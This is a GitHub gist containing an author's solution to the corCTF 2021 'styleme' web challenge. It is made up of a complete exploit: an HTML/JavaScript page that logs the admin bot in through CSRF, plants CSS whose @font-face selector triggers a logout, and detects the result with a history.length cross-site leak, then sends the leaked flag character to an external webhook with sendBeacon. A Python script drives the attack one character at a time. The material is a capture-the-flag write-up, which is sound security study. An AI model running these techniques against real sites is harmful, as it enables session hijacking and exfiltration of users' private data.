Skip to content

Instantly share code, notes, and snippets.

@arxenix
Created August 22, 2021 22:57
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save arxenix/b20a2930299918272f1762b69b950c9b to your computer and use it in GitHub Desktop.
Save arxenix/b20a2930299918272f1762b69b950c9b to your computer and use it in GitHub Desktop.
corCTF'21 styleme solution
<!DOCTYPE html>
<html lang="en">
<head>
<title>corCTF styleme solution</title>
</head>
<body>
<form id="form" method="POST" action="http://chall/api/login">
<input id="user" type="text" name="user" value="testu123" />
<input id="pass" type="text" name="pass" value="testp123" />
</form>
<script>
let sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const DELAY = 600;
// XS-leak using history.length to check if a window is at a specified URL
async function isLocation(w, url) {
w.location = "about:blank";
await sleep(DELAY);
let start = w.history.length;
w.history.back();
await sleep(DELAY);
w.location = url;
await sleep(DELAY);
w.location = "about:blank";
await sleep(DELAY);
let diff = w.history.length - start;
w.history.go(-1 - diff);
console.log("diff: ", diff);
return diff === 0;
}
// main fn
async function main() {
let guess = location.hash.substring(1);
if (guess === "login") {
// if hash is #login
// CSRF to login to an account
document.forms[0].submit();
return;
}
// ID of our 2nd sheet to install
const pid = guess.split(",")[0];
// the admin bot starts with no session.
// so we initialize a session cookie
w = window.open("http://chall/styles/i/z");
await sleep(DELAY);
// csrf to login to an account
w = window.open("http://hc.lc/#login");
await sleep(DELAY * 2);
// install the sheet with ID ${pid}. it applies to http://chall and has CSS of the form:
/*
@font-face {
font-family: "Pwn";
src: url("http://chall/api/logout");
}
a[href^="/styles/i/{guess}"] {
font-family: "Pwn";
}
*/
// because CSS loads assets only if needed,
// this will only hit the /api/logout endpoint
// if the attribute selector succeeds.
// It will log us out if there is a note button starting with {guess} prefix
w = window.open(`https://styleme.be.ax/styles/i/${pid}`);
await sleep(DELAY * 2);
// load search that has flag note in results. if matches guess prefix, we get logged out
w = window.open("http://chall/styles/search?query=super");
await sleep(DELAY * 2);
// now use a location or history length xs-leak vector to check if we were logged out or not.
w = window.open("http://chall/styles/mine");
await sleep(DELAY);
if (await isLocation(w, "http://chall/styles/mine")) {
navigator.sendBeacon(
"https://webhook.site/e1879606-4af8-4b4e-b8db-8e976dbd8727",
guess + ", loggedin"
);
} else {
navigator.sendBeacon(
"https://webhook.site/e1879606-4af8-4b4e-b8db-8e976dbd8727",
guess + ", loggedout"
);
}
}
main();
</script>
</body>
</html>
# each time we run this script, 1 char of the flag stylescript ID is exfiltrated and sent to our webhook
from pwn import *
import requests
import os
import sys
URL = "https://styleme.be.ax"
# URL = "http://localhost"
def register(s, user, pwd):
r = s.post(f"{URL}/api/register", data={"user": user, "pass": pwd})
assert b"Registered as " in r.content
def create(s, title, css, url, hidden="on"):
data = {
"title": title,
"css": css,
"url": url,
"hidden": hidden
}
data = {k: v for k, v in data.items() if v is not None}
r = s.post(f"{URL}/api/create", data=data)
charset = "0123456789abcdef"
gen_style = lambda guess: """
@font-face {
font-family: "Pwn";
src: url("http://chall/api/logout");
}
a[href^="/styles/i/{guess}"] {
font-family: "Pwn";
}
""".replace("{guess}", guess)
FLAG_ID = "1393b3ffe362"
def submit(s, url):
r = s.post(f"{URL}/api/submit", data={"url": url})
def search(s, q):
r = s.get(f"{URL}/styles/search", params={"query": q})
def list_styles(s):
r = s.get(f"{URL}/styles/mine")
return r.text
def get_style_id(s, title):
styles = list_styles(s)
payload_id = styles.split(f"<h4>{title}")[1]
payload_id = payload_id.split('" class="btn btn-primary btn-sm">Install')[0]
payload_id = payload_id.split('/i/')[-1]
return payload_id
for c in charset:
BUST = os.urandom(3).hex()
FLAG_ID_GUESS = FLAG_ID + c
s = requests.Session()
user = os.urandom(8).hex()
pwd = os.urandom(8).hex()
print(user, pwd)
register(s, user, pwd)
payload_title = f"{user} {FLAG_ID_GUESS}"
print("### CREATE")
create(s, "pwn"+payload_title, gen_style(FLAG_ID_GUESS), f"http://chall/")
pwn_payload_id = get_style_id(s, "pwn"+payload_title)
print("PWN ID", pwn_payload_id)
create(s, "jmp"+payload_title, "/* noop */", f"http://hc.lc/?{BUST}#"+pwn_payload_id+","+payload_title)
payload_id = get_style_id(s, "jmp"+payload_title)
print("JMP ID", payload_id)
payload_url = f"{URL}/styles/i/{payload_id}"
print(payload_url)
submit(s, payload_url)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment